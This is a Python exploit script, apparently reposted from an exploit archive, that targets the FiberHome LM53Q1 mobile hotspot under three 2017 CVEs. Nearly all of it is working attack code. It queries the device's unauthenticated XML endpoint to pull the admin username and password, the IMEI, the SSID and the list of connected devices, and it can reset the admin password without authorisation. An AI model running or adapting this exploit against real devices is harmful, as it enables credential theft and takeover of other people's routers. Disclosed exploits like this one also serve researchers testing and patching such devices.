FiberHome LM53Q1 - Multiple Vulnerabilities

#!/usr/bin/python
 
# Exploit Title: FiberHome MIFI LM53Q1 Multiple Vulnerabilities
# Exploit Author: Ibad Shah
# Vendor Homepage: www.fiberhome.com
# Version: VH519R05C01S38
# Tested on: Linux
# Platform : Hardware
# CVE : CVE-2017-16885, CVE-2017-16886, CVE-2017-16887
# Greetz : Taimoor Zafar, Jawad Ahmed, Owais Mehtab, Aitezaz Mohsin, ZHC
 
import requests,sys,getopt,socket,struct
 
#Declaring IP as our global variable to probe for Gateway IP of Device
global ip
 
#Getting Gateway IP Address
def get_default_gateway_linux():
    with open("/proc/net/route") as fh:
        for line in fh:
            fields = line.strip().split()
            if fields[1] != '00000000' or not int(fields[3], 16) & 2:
                continue
            return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
    return;
 
 
ip = get_default_gateway_linux()
 
exploit_title =  "=============================================== \n FiberHome Remote Administrator Account Details \n================================================";
 
 
#Function to get Device Statistics 
def get_device_details():
 
    gateway = None
    hardware = None
    device_name = None
    devices_all = ''
    version = None
    gateway = None
    ssid = ''
    dns1 = None
    dns2 = None
 
 
    requestStatus = requests.get("http://192.168.8.1/xml_action.cgi?method=get&module=duster&file=status1")
    api_response = requestStatus.content.replace('\t','').split('\n')
    for results in api_response:
            if "<hardware_version>" in results:
                    hardware = results.replace('<hardware_version>','').replace('</hardware_version>','').replace(' ','').replace('\n','')
            if "<device_name>" in results:
                    device_name = results.replace('<device_name>','').replace('</device_name>','').replace(' ','').replace('\n','')
            if "<version_num>" in results:
                    version = results.replace('<version_num>','').replace('</version_num>','').replace(' ','').replace('\n','')
            if "<gateway>" in results:
                    gateway = results.replace('<gateway>','').replace('</gateway>','').replace(' ','').replace('\n','')
            if "<ssid>" in results:
                    ssid = results.replace('<ssid>','').replace('</ssid>','').replace('\n','')
            if "<dns1>" in results:
                    dns1 = results.replace('<dns1>','').replace('</dns1>','').replace(' ','').replace('\n','')
            if "<dns2>" in results:
                    dns2 = results.replace('<dns2>','').replace('</dns2>','').replace(' ','').replace('\n','')
            if "<IMEI>" in results:
                    imei = results.replace('<IMEI>','').replace('</IMEI>','').replace(' ','').replace('\n','')
                    print "\n=============================================="
 
                    print "\nHardware Version of Device : "+hardware+"\n"
                    print "\nName of Device : "+device_name+"\n"
                    print "\nSoftware Version of Device : "+version+"\n"
                    print "\nIMEI of Device! : "+imei+"\n"
                    print "\nWiFi SSID of Device : "+ssid+"\n"
                    print "\nGateway of Zong Device : "+gateway+"\n"
                    print "\nDNS Primary of Device : "+dns1+"\n"
                print "\nDNS Secondary of Device : "+dns2+"\n"
                    print "\n=============================================================================\n";
            if "<known_devices_list>" in results:
                    devices_all = results.replace('<known_devices_list>','').replace('</known_devices_list>','').replace('\n','')
                    print "\nConnected Devices to WIFI\n"
                    print devices_all
 
 
#Function for getting User Account Details to login to Portal
def get_user_account_details():
    request = requests.get("http://"+ip+"/xml_action.cgi?method=get&module=duster&file=admin")
    admin_details = request.content.replace('\t','').split('\n')
    for admin_login_response in admin_details:
            if "<router_username>" in admin_login_response:
                    username = admin_login_response.replace('<router_username>','').replace('</router_username>','')
            if "<router_password>" in admin_login_response:
                    password = admin_login_response.replace('<router_password>','').replace('</router_password>','')
                    print "\nUsername of Device Web Application :\n"+username+" "
                    print "Password of Device Web Application :\n"+password+"\n"
                    print "\n=============================================================================\n";
 
 
#Function to change Administrator Password 
 
def change_admin_password():
    set_password = raw_input("\nEnter Password to Change : ")
    password = str(set_password)
    xml = "<?xml version='1.0' encoding='UTF-8'?><RGW><management><router_password>"+password+"</router_password></management></RGW>"
    headers = {'Content-Type': 'application/xml'} 
    change_password_request = requests.post("http://"+ip+"/xml_action.cgi?method=set&module=duster&file=admin", data=xml, headers=headers).text
    print "Password Changed!"
 
 
def main():
 
    print exploit_title
    print "\nSelect Menu For Fetching Details \n \n 1. Get Portal Login & Password. \n 2. Get Other Details. \n 3. Change Admin Password for Device"
 
    get_option = raw_input("\n Enter Option :  ");
 
    option = int(get_option)
 
    if get_option == "1":
 
            get_user_account_details()
 
            raw_input("\n Press Any Key To Exit");
 
    elif get_option == "2":
 
            get_device_details()
 
            raw_input("\n Press Any Key To Exit");
 
    elif get_option == "3":
 
        change_admin_password()
 
    elif get_option == "":
 
        print "Good Bye!";
 
    else:
 
        print "Goodbye!";
 
main()

#  0day.today [2018-04-03]  #